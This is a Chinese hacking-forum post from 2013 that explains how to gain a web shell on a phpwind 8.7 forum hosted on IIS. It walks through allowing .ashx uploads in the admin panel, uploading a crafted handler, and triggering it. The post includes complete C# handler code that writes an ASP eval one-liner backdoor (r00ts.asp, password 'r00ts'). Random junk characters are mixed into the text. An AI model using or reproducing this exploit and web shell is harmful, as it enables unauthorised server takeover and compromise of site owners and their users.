找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2157|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
/ k  o, U5 F4 f+ d: J4 U  K: \0 c) l
; u! B  Y# _" u3 A群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx8 L) V& g7 j3 T
& R' f* K) i4 l9 c0 q8 X- q
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整# \- J" n2 W' ^# B7 u3 ?% r

: \7 w  ^& b2 u然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
: @; T3 T+ x4 Q9 z& b( d , W9 r, U' X6 L- c3 Z6 ~
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
8 [- u2 ^( B9 c ) m, H* r' x! v8 a# w* }
下面是代码:
( C( O0 P, t9 n& s3 m& L
! i+ G' u# q( s# p  o# t<%@ WebHandler Language="C#"Class="Handler" %>
3 K; j  {& P9 W" v$ P6 H$ ], r  I$ Wusing System;
% h8 z3 G+ g, lusing System.Web;$ S  s# n; b5 X9 j1 m
using System.IO;
7 N6 T+ @; z! a. f: c! xpublic class Handler : IHttpHandler {4 `& B" n4 p/ `6 h2 m+ u1 W
public void ProcessRequest (HttpContext context) {2 p5 m/ q9 B' J% c2 N
context.Response.ContentType = "text/plain";, L+ E, V# t& V8 ]9 z- \+ O
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
% @0 m; K  Y7 H& a% I2 ofile1.Write("<%eval request(\"r00ts\")%>");
6 c5 u/ ?- y/ n2 Nfile1.Flush();5 m* [# t! S9 m" y
file1.Close();
/ I% H2 W; {* @8 c$ L  N}5 ?: ^) U1 Y& a* E6 N$ M6 {* X
public bool IsReusable {
9 j1 l4 A0 }! Z$ ~5 W; vget {
- ~; H* V; g0 L0 J! t2 freturn false;
3 o8 ~" c% |! C& f# ~/ A}8 S. ]* v3 d2 P; C! x: [( y: k+ R
}9 g' g6 C8 ~& \) U
}
3 z4 Z- }) X9 k1 P$ U3 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表